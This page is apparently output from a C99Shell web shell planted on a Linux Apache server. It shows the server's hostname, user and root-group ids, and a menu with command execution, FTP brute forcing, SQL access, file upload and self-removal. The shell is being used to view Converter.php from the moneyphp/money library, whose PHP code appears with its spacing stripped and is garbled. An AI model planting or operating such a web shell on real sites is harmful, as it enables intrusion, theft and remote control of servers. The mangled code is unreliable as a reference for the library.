!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/moneyphp/money/src/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Converter.php (2.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Money;

use 
InvalidArgumentException;

use function 
sprintf;

/**
 * Provides a way to convert Money to Money in another Currency using an exchange rate.
 */
final class Converter
{
    private 
Currencies $currencies;

    private 
Exchange $exchange;

    public function 
__construct(Currencies $currenciesExchange $exchange)
    {
        
$this->currencies $currencies;
        
$this->exchange   $exchange;
    }

    public function 
convert(Money $moneyCurrency $counterCurrencyint $roundingMode Money::ROUND_HALF_UP): Money
    
{
        return 
$this->convertAgainstCurrencyPair(
            
$money,
            
$this->exchange->quote(
                
$money->getCurrency(),
                
$counterCurrency
            
),
            
$roundingMode
        
);
    }

    
/** @return array{0: Money, 1: CurrencyPair} */
    
public function convertAndReturnWithCurrencyPair(Money $moneyCurrency $counterCurrencyint $roundingMode Money::ROUND_HALF_UP): array
    {
        
$pair $this->exchange->quote(
            
$money->getCurrency(),
            
$counterCurrency
        
);

        return [
$this->convertAgainstCurrencyPair($money$pair$roundingMode), $pair];
    }

    public function 
convertAgainstCurrencyPair(Money $moneyCurrencyPair $currencyPairint $roundingMode Money::ROUND_HALF_UP): Money
    
{
        if (! 
$money->getCurrency()->equals($currencyPair->getBaseCurrency())) {
            throw new 
InvalidArgumentException(
                
sprintf(
                    
'Expecting to convert against base currency %s, but got %s instead',
                    
$money->getCurrency()->getCode(),
                    
$currencyPair->getBaseCurrency()->getCode()
                )
            );
        }

        
$ratio                  $currencyPair->getConversionRatio();
        
$baseCurrencySubunit    $this->currencies->subunitFor($currencyPair->getBaseCurrency());
        
$counterCurrencySubunit $this->currencies->subunitFor($currencyPair->getCounterCurrency());
        
$subunitDifference      $baseCurrencySubunit $counterCurrencySubunit;

        
$ratio Number::fromString($ratio)
            ->
base10($subunitDifference)
            ->
__toString();

        
$counterValue $money->multiply($ratio$roundingMode);

        return new 
Money($counterValue->getAmount(), $currencyPair->getCounterCurrency());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--